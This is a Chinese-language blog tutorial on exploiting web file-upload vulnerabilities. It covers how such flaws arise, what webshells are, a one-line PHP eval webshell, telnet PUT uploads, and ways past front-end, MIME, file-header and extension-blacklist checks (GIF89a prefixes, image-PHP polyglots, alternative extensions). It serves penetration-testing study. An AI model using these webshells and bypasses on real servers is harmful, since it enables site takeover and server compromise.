<web滲透-檔案上傳漏洞>

好先生·發表於2020-11-20

(1) .簡述
是web開發的必備功能之一,上傳頭像,上傳共享檔案,上傳網站指令碼等
如果伺服器配置不當或者沒有進行過濾,web使用者上傳任意檔案
包括指令碼檔案,而exe程式等

.漏洞成因
檔案上傳漏洞的成因,一方嗎伺服器配置不當導致任意檔案上傳
web應用開發了檔案上傳功能,並且對上傳的問件沒有進行足夠的限制
開發部署時沒有考慮到系統特性和驗證和過濾不嚴而導致被繞過,上傳任意檔案

.漏洞危害
上傳漏洞最直接的威脅就是上傳任意檔案,包括惡意指令碼,程式等
如果web伺服器儲存的上傳檔案的可寫目錄具有執行許可權
那麼就可以直接上傳後門檔案,導致網站淪陷
如果攻擊者通過其他漏洞進行提權操作,拿到系統管理許可權那麼就直接導致伺服器
淪陷,同伺服器所有網站都會淪陷

(2) “webshell”

   webshell 是一個網站的後門也是一個命令直譯器
   不過以web方式(http協議)通訊繼承了web使用者的許可權
    webshell本質上是在伺服器端執行可執行的指令碼檔案
     字尾名位.php .asp .aspx .jsp等
     webshell接受來自web使用者的命令,在伺服器端執行

   *大馬  
      webshell 也是大馬,也是網站木馬
      程式碼比較大,是一個完整的.php .asp檔案
      大馬中可以進行檔案管理,執行系統命令
   
   *小馬
     小馬就是一句話木馬,其程式碼量比較小
     但是功能也很強大,需要配合上中國菜刀或者蟻劍客戶端
    
     .列子
      <?php
      	@eval($_POST[777]);
      ?>
     中國菜刀就是一句話木馬的命令介面
     並且實現三大基本功能

      @檔案管理

      @虛擬終端

      @資料庫管理

(3) .getshell
‘檔案上傳漏洞條件’
1-web伺服器需開啟上傳功能,並且上傳介面對外開放
2-web使用者對目標目錄具有可寫許可權,甚至具有執行許可權
一般情況下,web目錄都具有執行許可權
3-要完美利用檔案上傳漏洞,就是上傳的檔案可以執行
也就是web伺服器可以解析我們上傳的指令碼,
無論指令碼以什麼樣的形式存在
4-無視以上條件的情況就是配置不當,開啟了put方法

 .黑白名單策略
   URLBLACKlist
     禁止使用者訪問已阻止的網址,使用者可以訪問黑名單之外的所有網址
     不設定此策略:使用者可以自由訪問所有的網址

   URLWHITElist
   	 將此策略與URLBLACKlist搭配使用
   	 白名單優先順序高於黑
   	 不設定此策略:網址黑名單將沒有列外網址

*put方法上傳檔案(.已經過時但仍需要進行檢查)
  HTTP 請求方法之一,允許伺服器直接寫入檔案
   "1.Apache開啟put方法"
     @測試Apache 是否開啟了put方法
        
        telnet IP 
        OPTIONS / HTTP/1.1  //保證格式正確,並且手寫
        HOST:IP
     
     @Apache開啟put方法操作
       httped.conf 檔案配置
      開啟模組
        LoadModule dav_module modules/mod_dav.so
        LoadModule dav_fs_module modules/mod_fs_dav.so
       啟用模組
        <Directory>
         新增
         DAV On
        </Directory>
       新增語句
        DavLockDB d:\phpstudy\www\DavLock
     
      www檔案下建立文字
       DavLock
    
    "上傳檔案"
      telnet IP 
      PUT /info.php HTTP/1.1
      Content-Length:18
      
      <?php phpinfo();?>



 【1】前端限制與繞過
     有些web應用的檔案上傳功能僅在前端用js指令碼做了檢測,如檢測檔案字尾名
       upload-labs 第一關中就是
      .前端js指令碼檢測安全防禦是非常弱的
         --js指令碼執行環境客戶端瀏覽器,可以直接修改JS程式碼
             甚至刪除表單事件
         --burp代理修改頭部相關屬性

      .伺服器段檢測型別MIME型別

         MIME是描述訊息內容的因特網標準
          MIME-type 
           js   application/x-javascript
           html text/html
           jpg  image/jepg
           png  image/png
           pdf  application/pdf
             在http協議中,使用Content-Type
              表示型別
           '利用burp修改型別'

        .伺服器端檢測內容
         '檔案內容中頭部加入'
           GIF89a
            info.gif
           
           列如:
           
            GIF89a
            <?php phpinfo();?>

          '合併圖片和程式碼文字製作'
          	copy 1.jpg/b+info.php/a smile.jpg

          '將程式碼寫入圖片具有描述資訊的文件中'

          
          '利用十六進位制進行編輯'
           png 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
           JPG FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
           GIF 47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
           
            檔案幻術
            將上述二進位制寫入檔案頭部
            
            info.php
            16(png字元)進位制編碼
            <>

		.伺服器端檢測檔名
			不允許上傳一些php|asp|aspx|jsp 等可執行指令碼檔案

		 @ 黑名單
		    程式碼中$deny_ext 資料就是一個黑名單
		    對於黑名單,我們可以尋找其他可允許上傳的型別
		    來繞過限制

		   可以執行指令碼字尾名
		    .php php2 php3 php5 phtml
		    .asp aspx ascx ashx asa
		    .cer 
		    .jsp .jspx
             
   @ 白名單
      對於字尾名白名單策略,我們只能上傳在白名單內的檔案字尾名

相關文章